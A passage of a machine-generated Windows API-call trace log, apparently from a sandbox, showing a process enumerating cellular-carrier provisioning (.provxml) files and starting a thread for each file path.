Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0088.842] wcscat (in: _Dest=0x55dad30, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0088.842] wcscat (in: _Dest=0x55dad30, _Source="231__Connections_Cellular_KTF HSDPA Internet (Korea)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\231__Connections_Cellular_KTF HSDPA Internet (Korea)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\231__Connections_Cellular_KTF HSDPA Internet (Korea)_i0$(__MVID)@WAP.provxml" [0088.842] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x55dad30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8fc [0088.843] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9088a4b2, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9088a4b2, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9088a4b2, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x28e, dwReserved0=0x0, dwReserved1=0x0, cFileName="232__Connections_Cellular_Wataniya (Kuwait)_i0$(__MVID)@WAP.provxml", cAlternateFileName="232__C~1.PRO")) returned 1 [0088.843] wcscmp (_String1="232__Connections_Cellular_Wataniya (Kuwait)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0088.843] wcscmp (_String1="232__Connections_Cellular_Wataniya (Kuwait)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0088.843] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x144) returned 0x348bd10 [0088.843] wcscpy (in: _Dest=0x348bd10, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0088.843] wcscat (in: _Dest=0x348bd10, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0088.843] wcscat (in: _Dest=0x348bd10, _Source="232__Connections_Cellular_Wataniya (Kuwait)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\232__Connections_Cellular_Wataniya (Kuwait)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\232__Connections_Cellular_Wataniya (Kuwait)_i0$(__MVID)@WAP.provxml" [0088.843] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x348bd10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9ac [0088.844] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9088a4b2, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9088a4b2, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9088a4b2, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="233__Connections_Cellular_Zain (Kuwait)_i0$(__MVID)@WAP.provxml", cAlternateFileName="233__C~1.PRO")) returned 1 [0088.844] wcscmp (_String1="233__Connections_Cellular_Zain (Kuwait)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0088.844] wcscmp (_String1="233__Connections_Cellular_Zain (Kuwait)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0088.844] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x13c) returned 0x34295a0 [0088.844] wcscpy (in: _Dest=0x34295a0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0088.844] wcscat (in: _Dest=0x34295a0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0088.844] wcscat (in: _Dest=0x34295a0, _Source="233__Connections_Cellular_Zain (Kuwait)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\233__Connections_Cellular_Zain (Kuwait)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\233__Connections_Cellular_Zain (Kuwait)_i0$(__MVID)@WAP.provxml" [0088.844] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x34295a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5b0 [0088.845] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9088a4b2, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9088a4b2, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9088a4b2, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="234__Connections_Cellular_Bite Latvija (Latvia)_i0$(__MVID)@WAP.provxml", cAlternateFileName="234__C~1.PRO")) returned 1 [0088.845] wcscmp (_String1="234__Connections_Cellular_Bite Latvija (Latvia)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0088.845] wcscmp (_String1="234__Connections_Cellular_Bite Latvija (Latvia)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0088.845] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x14c) returned 0x348c678 [0088.845] wcscpy (in: _Dest=0x348c678, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0088.845] wcscat (in: _Dest=0x348c678, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0088.845] wcscat (in: _Dest=0x348c678, _Source="234__Connections_Cellular_Bite Latvija (Latvia)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\234__Connections_Cellular_Bite Latvija (Latvia)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\234__Connections_Cellular_Bite Latvija (Latvia)_i0$(__MVID)@WAP.provxml" [0088.845] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x348c678, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8f0 [0088.846] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x908b0722, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x908b0722, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x908b0722, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x383, dwReserved0=0x0, dwReserved1=0x0, cFileName="235__Connections_Cellular_LMT (Latvia)_i0$(__MVID)@WAP.provxml", cAlternateFileName="235__C~1.PRO")) returned 1 [0088.846] wcscmp (_String1="235__Connections_Cellular_LMT (Latvia)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0088.846] wcscmp (_String1="235__Connections_Cellular_LMT (Latvia)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0088.846] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x13a) returned 0x34296e8 [0088.846] wcscpy (in: _Dest=0x34296e8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0088.846] wcscat (in: _Dest=0x34296e8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0088.846] wcscat (in: _Dest=0x34296e8, _Source="235__Connections_Cellular_LMT (Latvia)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\235__Connections_Cellular_LMT (Latvia)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\235__Connections_Cellular_LMT (Latvia)_i0$(__MVID)@WAP.provxml" [0088.846] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x34296e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8ec [0088.847] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x908b0722, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x908b0722, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x908b0722, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x310, dwReserved0=0x0, dwReserved1=0x0, cFileName="236__Connections_Cellular_Tele2 (Latvia)_i0$(__MVID)@WAP.provxml", cAlternateFileName="236__C~1.PRO")) returned 1 [0088.847] wcscmp (_String1="236__Connections_Cellular_Tele2 (Latvia)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0088.847] wcscmp (_String1="236__Connections_Cellular_Tele2 (Latvia)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0088.847] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x13e) returned 0x3427ab8 [0088.847] wcscpy (in: _Dest=0x3427ab8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0088.847] wcscat (in: _Dest=0x3427ab8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0088.847] wcscat (in: _Dest=0x3427ab8, _Source="236__Connections_Cellular_Tele2 (Latvia)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\236__Connections_Cellular_Tele2 (Latvia)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\236__Connections_Cellular_Tele2 (Latvia)_i0$(__MVID)@WAP.provxml" [0088.847] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3427ab8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8e8 [0088.848] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x908b0722, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x908b0722, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x908b0722, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x309, dwReserved0=0x0, dwReserved1=0x0, cFileName="237__Connections_Cellular_Tele2 (Latvia)_i0$(__MVID)@WAP.provxml", cAlternateFileName="237__C~1.PRO")) returned 1 [0088.848] wcscmp (_String1="237__Connections_Cellular_Tele2 (Latvia)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0088.848] wcscmp (_String1="237__Connections_Cellular_Tele2 (Latvia)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0088.848] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x13e) returned 0x3427c00 [0088.848] wcscpy (in: _Dest=0x3427c00, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0088.848] wcscat (in: _Dest=0x3427c00, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0088.848] wcscat (in: _Dest=0x3427c00, _Source="237__Connections_Cellular_Tele2 (Latvia)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\237__Connections_Cellular_Tele2 (Latvia)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\237__Connections_Cellular_Tele2 (Latvia)_i0$(__MVID)@WAP.provxml" [0088.848] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3427c00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5a8 [0088.849] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x908d698d, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x908d698d, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x908d698d, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="238__Connections_Cellular_Alfa (Lebanon)_i0$(__MVID)@WAP.provxml", cAlternateFileName="238__C~1.PRO")) returned 1 [0088.849] wcscmp (_String1="238__Connections_Cellular_Alfa (Lebanon)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0088.849] wcscmp (_String1="238__Connections_Cellular_Alfa (Lebanon)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0088.849] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x13e) returned 0x3428268 [0088.849] wcscpy (in: _Dest=0x3428268, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0088.849] wcscat (in: _Dest=0x3428268, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0088.849] wcscat (in: _Dest=0x3428268, _Source="238__Connections_Cellular_Alfa (Lebanon)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\238__Connections_Cellular_Alfa (Lebanon)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\238__Connections_Cellular_Alfa (Lebanon)_i0$(__MVID)@WAP.provxml" [0088.849] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3428268, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4f4 [0088.850] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x908d698d, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x908d698d, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x908d698d, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x30e, dwReserved0=0x0, dwReserved1=0x0, cFileName="239__Connections_Cellular_MTC Touch (Lebanon)_i0$(__MVID)@WAP.provxml", cAlternateFileName="239__C~1.PRO")) returned 1 [0088.850] wcscmp (_String1="239__Connections_Cellular_MTC Touch (Lebanon)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0088.850] wcscmp (_String1="239__Connections_Cellular_MTC Touch (Lebanon)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0088.850] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x148) returned 0x348b250 [0088.850] wcscpy (in: _Dest=0x348b250, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0088.850] wcscat (in: _Dest=0x348b250, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0088.850] wcscat (in: _Dest=0x348b250, _Source="239__Connections_Cellular_MTC Touch (Lebanon)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\239__Connections_Cellular_MTC Touch (Lebanon)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\239__Connections_Cellular_MTC Touch (Lebanon)_i0$(__MVID)@WAP.provxml" [0088.850] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x348b250, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9b4 [0088.851] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x901892f8, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x901892f8, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x901892f8, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="23__Connections_Cellular_Vodafone AU (Australia)_i0$(__MVID)@WAP.provxml", cAlternateFileName="23__CO~1.PRO")) returned 1 [0088.855] wcscmp (_String1="23__Connections_Cellular_Vodafone AU (Australia)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0088.855] wcscmp (_String1="23__Connections_Cellular_Vodafone AU (Australia)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0088.855] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x14e) returned 0x348c118 [0088.855] wcscpy (in: _Dest=0x348c118, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0088.855] wcscat (in: _Dest=0x348c118, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0088.855] wcscat (in: _Dest=0x348c118, _Source="23__Connections_Cellular_Vodafone AU (Australia)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\23__Connections_Cellular_Vodafone AU (Australia)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\23__Connections_Cellular_Vodafone AU (Australia)_i0$(__MVID)@WAP.provxml" [0088.856] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x348c118, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9b8 [0088.856] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x908fcbf9, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x908fcbf9, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x908fcbf9, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="240__Connections_Cellular_Vodacom Lesotho (Lesotho)_i0$(__MVID)@WAP.provxml", cAlternateFileName="240__C~1.PRO")) returned 1 [0088.856] wcscmp (_String1="240__Connections_Cellular_Vodacom Lesotho (Lesotho)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0088.856] wcscmp (_String1="240__Connections_Cellular_Vodacom Lesotho (Lesotho)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0088.856] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x154) returned 0x55dae98 [0088.856] wcscpy (in: _Dest=0x55dae98, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0088.856] wcscat (in: _Dest=0x55dae98, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0088.856] wcscat (in: _Dest=0x55dae98, _Source="240__Connections_Cellular_Vodacom Lesotho (Lesotho)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\240__Connections_Cellular_Vodacom Lesotho (Lesotho)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\240__Connections_Cellular_Vodacom Lesotho (Lesotho)_i0$(__MVID)@WAP.provxml" [0088.856] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x55dae98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3f4 [0088.857] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x908fcbf9, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x908fcbf9, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x908fcbf9, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="241__Connections_Cellular_Libyana (Libya)_i0$(__MVID)@WAP.provxml", cAlternateFileName="241__C~1.PRO")) returned 1 [0088.857] wcscmp (_String1="241__Connections_Cellular_Libyana (Libya)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0088.857] wcscmp 